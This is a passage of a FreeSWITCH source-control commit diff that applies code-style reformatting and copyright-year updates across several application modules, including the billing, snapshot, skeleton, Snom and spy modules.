- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name (event->event_id));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name(event->event_id));
/* Display debugging info */
if (switch_event_get_header(event, "nibble_debug")) {
@@ -594,12 +598,14 @@
nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
if (!nibble_data) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
return;
}
if (nibble_data->pausets == 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not paused! (This is expected at hangup time)\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ "Can't resume - channel is not paused! (This is expected at hangup time)\n");
return;
}
@@ -611,8 +617,9 @@
billrate = switch_channel_get_variable(channel, "nibble_rate");
/* Calculate how much was "lost" to billings during pause - we do this here because you never know when the billrate may change during a call */
- nibble_data->bill_adjustments += ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n", (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
+ nibble_data->bill_adjustments += ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n",
+ (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
nibble_data->pausets = 0;
@@ -699,7 +706,7 @@
}
/* Variables kept in FS but relevant only to this module */
-
+
billaccount = switch_channel_get_variable(channel, "nibble_account");
/* Return if there's no billing information on this session */
@@ -725,7 +732,7 @@
if (!zstr(data) && (lbuf = strdup(data))
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (!strcasecmp(argv[0], "adjust") && argc == 2) {
- nibblebill_adjust(session, (float)atof(argv[1]));
+ nibblebill_adjust(session, (float) atof(argv[1]));
} else if (!strcasecmp(argv[0], "flush")) {
do_billing(session);
} else if (!strcasecmp(argv[0], "pause")) {
@@ -760,7 +767,7 @@
channel = switch_core_session_get_channel(psession);
if (!strcasecmp(argv[1], "adjust") && argc == 3) {
- nibblebill_adjust(psession, (float)atof(argv[2]));
+ nibblebill_adjust(psession, (float) atof(argv[2]));
} else if (!strcasecmp(argv[1], "flush")) {
do_billing(psession);
} else if (!strcasecmp(argv[1], "pause")) {
@@ -805,7 +812,7 @@
static switch_status_t process_hangup(switch_core_session_t *session)
{
/* Resume any paused billings, just in case */
- // nibblebill_resume(session);
+ // nibblebill_resume(session);
/* Now go handle like normal billing */
do_billing(session);
@@ -813,17 +820,19 @@
return SWITCH_STATUS_SUCCESS;
}
-switch_state_handler_table_t nibble_state_handler =
-{
- /* on_init */ NULL,
- /* on_routing */ process_hangup, /* Need to add a check here for anything in their account before routing */
- /* on_execute */ sched_billing, /* Turn on heartbeat for this session and do an initial account check */
- /* on_hangup */ process_hangup, /* On hangup - most important place to go bill */
- /* on_exch_media */ sched_billing,
- /* on_soft_exec */ NULL,
- /* on_consume_med */ NULL,
- /* on_hibernate */ NULL,
- /* on_reset */ NULL
+switch_state_handler_table_t nibble_state_handler = {
+ /* on_init */ NULL,
+ /* on_routing */ process_hangup,
+ /* Need to add a check here for anything in their account before routing */
+ /* on_execute */ sched_billing,
+ /* Turn on heartbeat for this session and do an initial account check */
+ /* on_hangup */ process_hangup,
+ /* On hangup - most important place to go bill */
+ /* on_exch_media */ sched_billing,
+ /* on_soft_exec */ NULL,
+ /* on_consume_med */ NULL,
+ /* on_hibernate */ NULL,
+ /* on_reset */ NULL
};
SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
@@ -831,13 +840,13 @@
switch_api_interface_t *api_interface;
switch_application_interface_t *app_interface;
- /* Set every byte in this structure to 0 */
+ /* Set every byte in this structure to 0 */
memset(&globals, 0, sizeof(globals));
globals.pool = pool;
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
load_config();
-
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
@@ -845,13 +854,16 @@
SWITCH_ADD_API(api_interface, "nibblebill", "Manage billing parameters for a channel/call", nibblebill_api_function, API_SYNTAX);
/* Add dialplan applications */
- SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call", "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX, SAF_NONE | SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call",
+ "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX,
+ SAF_NONE | SAF_ROUTING_EXEC);
/* register state handlers for billing */
switch_core_add_state_handler(&nibble_state_handler);
/* bind to heartbeat events */
- if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
+ if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) !=
+ SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event to monitor for session heartbeats!\n");
return SWITCH_STATUS_GENERR;
}
@@ -861,7 +873,7 @@
}
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
-{
+{
switch_event_unbind(&globals.node);
switch_core_remove_state_handler(&nibble_state_handler);
switch_odbc_handle_disconnect(globals.master_odbc);
Modified: freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -184,9 +184,9 @@
switch_input_args_t args = { 0 };
const char *vcf = NULL;
char *chanvars = switch_channel_build_param_string(channel, NULL, NULL);
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
uint32_t rate, interval;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
interval = read_impl.microseconds_per_packet / 1000;
if ((vcf = switch_channel_get_variable(channel, "rss_alt_config"))) {
Modified: freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -55,42 +55,46 @@
int integer;
} globals;
-static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
{
- switch_bool_t value = *(switch_bool_t*)data->ptr;
+ switch_bool_t value = *(switch_bool_t *) data->ptr;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
- value ? "true" : "false", changed ? "true" : "false");
-
-
+ value ? "true" : "false", changed ? "true" : "false");
+
+
/*
- if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
- nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
- }
- */
-
+ if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
+ nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
+ }
+ */
+
return SWITCH_STATUS_SUCCESS;
}
static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
+
/* enforce_min, min, enforce_max, max */
static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
-static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
- { "greedy", CODEC_NEGOTIATION_GREEDY },
- { "generous", CODEC_NEGOTIATION_GENEROUS },
- { "evil", CODEC_NEGOTIATION_EVIL },
- { NULL, 0 }
+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
+ {"greedy", CODEC_NEGOTIATION_GREEDY},
+ {"generous", CODEC_NEGOTIATION_GENEROUS},
+ {"evil", CODEC_NEGOTIATION_EVIL},
+ {NULL, 0}
};
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
- SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
- "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
- SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
- "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
- SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
- "yes|no", "If enabled, print out sip messages on the console."),
- SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
- NULL, NULL),
+ SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
+ &config_opt_codec_negotiation,
+ "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+ SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
+ &config_opt_codec_negotiation_enum,
+ "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+ SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
+ (switch_xml_config_callback_t) config_callback_siptrace, NULL,
+ "yes|no", "If enabled, print out sip messages on the console."),
+ SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
+ NULL, NULL),
SWITCH_CONFIG_ITEM_END()
};
@@ -102,14 +106,14 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open skel.conf\n");
return SWITCH_STATUS_FALSE;
}
-
+
return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(skel_function)
{
do_config(SWITCH_TRUE);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -121,9 +125,9 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
-
+
do_config(SWITCH_FALSE);
-
+
SWITCH_ADD_API(api_interface, "skel", "Skel API", skel_function, "syntax");
/* indicate that the module should continue to be loaded */
Modified: freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -65,17 +65,18 @@
break;
case SWITCH_ABC_TYPE_READ:
-
+
if (cb->buffer) {
uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
switch_frame_t frame = { 0 };
frame.data = data;
frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
-
+
if (switch_mutex_trylock(cb->mutex) == SWITCH_STATUS_SUCCESS) {
while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
- if (frame.datalen) switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
+ if (frame.datalen)
+ switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
}
switch_mutex_unlock(cb->mutex);
}
@@ -95,7 +96,7 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_media_bug_t *bug;
switch_status_t status;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
struct cap_cb *cb;
switch_size_t bytes;
switch_bind_flag_t bind_flags = 0;
@@ -109,16 +110,16 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Must be at least 5 seconds!\n");
return SWITCH_STATUS_FALSE;
}
-
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
+
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
}
cb = switch_core_session_alloc(session, sizeof(*cb));
cb->base = switch_core_session_strdup(session, base);
-
+
bytes = read_impl.samples_per_second * seconds * 2;
switch_buffer_create_dynamic(&cb->buffer, bytes, bytes, bytes);
@@ -132,7 +133,7 @@
switch_ivr_bind_dtmf_meta_session(session, 7, bind_flags, "snapshot::snap");
switch_channel_set_private(channel, "snapshot", bug);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -141,11 +142,11 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_media_bug_t *bug = switch_channel_get_private(channel, "snapshot");
char *file;
- switch_file_handle_t fh = {0};
- switch_codec_implementation_t read_impl = {0};
+ switch_file_handle_t fh = { 0 };
+ switch_codec_implementation_t read_impl = { 0 };
switch_size_t bytes_read;
- int16_t pdata[4096] = {0};
-
+ int16_t pdata[4096] = { 0 };
+
if (bug) {
switch_time_exp_t tm;
switch_size_t retsize;
@@ -158,19 +159,17 @@
switch_time_exp_lt(&tm, switch_time_make(switch_epoch_time_now(NULL), 0));
switch_strftime(date, &retsize, sizeof(date), "%Y_%m_%d_%H_%M_%S", &tm);
-
- file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir,
- SWITCH_PATH_SEPARATOR, cb->base, date);
+ file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir, SWITCH_PATH_SEPARATOR, cb->base, date);
+
switch_core_session_get_read_impl(session, &read_impl);
fh.channels = 0;
fh.native_rate = read_impl.actual_samples_per_second;
-
+
if (switch_core_file_open(&fh,
file,
0,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error opening %s\n", file);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
@@ -180,7 +179,7 @@
switch_mutex_lock(cb->mutex);
while ((bytes_read = switch_buffer_read(cb->buffer, pdata, sizeof(pdata)))) {
switch_size_t samples = bytes_read / 2;
-
+
if (switch_core_file_write(&fh, pdata, &samples) != SWITCH_STATUS_SUCCESS) {
break;
}
@@ -205,8 +204,8 @@
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))) {
argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
- }
-
+ }
+
if (argc < 1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SNAP_SYNTAX);
return;
@@ -240,7 +239,7 @@
}
start_capture(session, seconds, flags, base);
-
+
}
if (!strcasecmp(argv[0], "snap")) {
@@ -276,7 +275,7 @@
const char *base = argv[3];
int seconds = 5;
switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
-
+
if (sec) {
int tmp = atoi(sec);
if (tmp > 5) {
@@ -297,7 +296,7 @@
if (!base) {
base = "mod_snapshot";
}
-
+
status = start_capture(lsession, seconds, flags, base);
}
@@ -311,7 +310,7 @@
stream->write_function(stream, "-ERR Operation Failed\n");
}
- done:
+ done:
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
@@ -327,7 +326,7 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
-
+
SWITCH_ADD_API(api_interface, "uuid_snapshot", "Snapshot API", snapshot_function, SNAP_API_SYNTAX);
SWITCH_ADD_APP(app_interface, "snapshot", "", "", snapshot_app_function, SNAP_SYNTAX, SAF_SUPPORT_NOMEDIA);
Modified: freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -55,42 +55,46 @@
int integer;
} globals;
-static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
{
- switch_bool_t value = *(switch_bool_t*)data->ptr;
+ switch_bool_t value = *(switch_bool_t *) data->ptr;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
- value ? "true" : "false", changed ? "true" : "false");
-
-
+ value ? "true" : "false", changed ? "true" : "false");
+
+
/*
- if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
- nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
- }
- */
-
+ if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
+ nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
+ }
+ */
+
return SWITCH_STATUS_SUCCESS;
}
static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
+
/* enforce_min, min, enforce_max, max */
static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
-static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
- { "greedy", CODEC_NEGOTIATION_GREEDY },
- { "generous", CODEC_NEGOTIATION_GENEROUS },
- { "evil", CODEC_NEGOTIATION_EVIL },
- { NULL, 0 }
+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
+ {"greedy", CODEC_NEGOTIATION_GREEDY},
+ {"generous", CODEC_NEGOTIATION_GENEROUS},
+ {"evil", CODEC_NEGOTIATION_EVIL},
+ {NULL, 0}
};
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
- SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
- "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
- SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
- "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
- SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
- "yes|no", "If enabled, print out sip messages on the console."),
- SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
- NULL, NULL),
+ SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
+ &config_opt_codec_negotiation,
+ "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+ SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
+ &config_opt_codec_negotiation_enum,
+ "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+ SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
+ (switch_xml_config_callback_t) config_callback_siptrace, NULL,
+ "yes|no", "If enabled, print out sip messages on the console."),
+ SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
+ NULL, NULL),
SWITCH_CONFIG_ITEM_END()
};
@@ -102,14 +106,14 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open snipe_hunt.conf\n");
return SWITCH_STATUS_FALSE;
}
-
+
return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(snipe_hunt_function)
{
do_config(SWITCH_TRUE);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -121,9 +125,9 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
-
+
do_config(SWITCH_FALSE);
-
+
SWITCH_ADD_API(api_interface, "snipe_hunt", "Snipe_Hunt API", snipe_hunt_function, "syntax");
/* indicate that the module should continue to be loaded */
Modified: freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -33,14 +33,9 @@
SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load);
SWITCH_MODULE_DEFINITION(mod_snom, mod_snom_load, NULL, NULL);
-static switch_bool_t snom_bind_key(const char *key,
- const char *light,
- const char *label,
- const char *user,
- const char *host,
- const char *profile,
- const char *action_name,
- const char *action)
+static switch_bool_t snom_bind_key(const char *key,
+ const char *light,
+ const char *label, const char *user, const char *host, const char *profile, const char *action_name, const char *action)
{
switch_event_t *event;
@@ -61,7 +56,7 @@
}
return SWITCH_TRUE;
}
-
+
return SWITCH_FALSE;
}
@@ -92,17 +87,17 @@
if (argc < 6) {
goto err;
}
-
+
if (snom_bind_key(argv[0], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
stream->write_function(stream, "+OK %s\n", cmd);
goto end;
}
-
- err:
+ err:
+
stream->write_function(stream, "-Error %s\n", KEY_BIND_SYNTAX);
- end:
+ end:
free(mydata);
@@ -122,7 +117,7 @@
SWITCH_ADD_API(commands_api_interface, "snom_bind_key", "Bind a key", snom_bind_key_api_function, KEY_BIND_SYNTAX);
SWITCH_ADD_API(commands_api_interface, "snom_url", "url", snom_url_api_function, URL_SYNTAX);
-
+
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -39,10 +39,10 @@
SWITCH_MODULE_DEFINITION(mod_spy, mod_spy_load, mod_spy_shutdown, NULL);
struct mod_spy_globals {
- switch_memory_pool_t* pool;
- switch_event_node_t* node;
- switch_hash_t* spy_hash;
- switch_thread_rwlock_t* spy_hash_lock;
+ switch_memory_pool_t *pool;
+ switch_event_node_t *node;
+ switch_hash_t *spy_hash;
+ switch_thread_rwlock_t *spy_hash_lock;
uint32_t spy_count;
} globals;
@@ -50,14 +50,14 @@
{
switch_channel_t *channel = switch_core_session_get_channel(session);
- char* data = switch_channel_get_private(channel,"_userspy_");
+ char *data = switch_channel_get_private(channel, "_userspy_");
switch_thread_rwlock_wrlock(globals.spy_hash_lock);
-
- if ((switch_core_hash_delete(globals.spy_hash,data) != SWITCH_STATUS_SUCCESS)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"No such key in userspy: %s \n",data);
- } else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"Userspy deactivated on %s\n",data);
+ if ((switch_core_hash_delete(globals.spy_hash, data) != SWITCH_STATUS_SUCCESS)) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No such key in userspy: %s \n", data);
+
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Userspy deactivated on %s\n", data);
globals.spy_count--;
}
@@ -68,16 +68,16 @@
static switch_status_t spy_on_exchange_media(switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
- const char* spy_uuid = switch_channel_get_variable(channel,"spy_uuid");
-
+ const char *spy_uuid = switch_channel_get_variable(channel, "spy_uuid");
+
if (spy_uuid) {
- if (switch_ivr_eavesdrop_session(session,spy_uuid,NULL,ED_DTMF) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Can't eavesdrop on uuid %s\n",spy_uuid);
+ if (switch_ivr_eavesdrop_session(session, spy_uuid, NULL, ED_DTMF) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Can't eavesdrop on uuid %s\n", spy_uuid);
}
}
- switch_channel_set_state(channel,CS_PARK);
- return SWITCH_STATUS_FALSE;
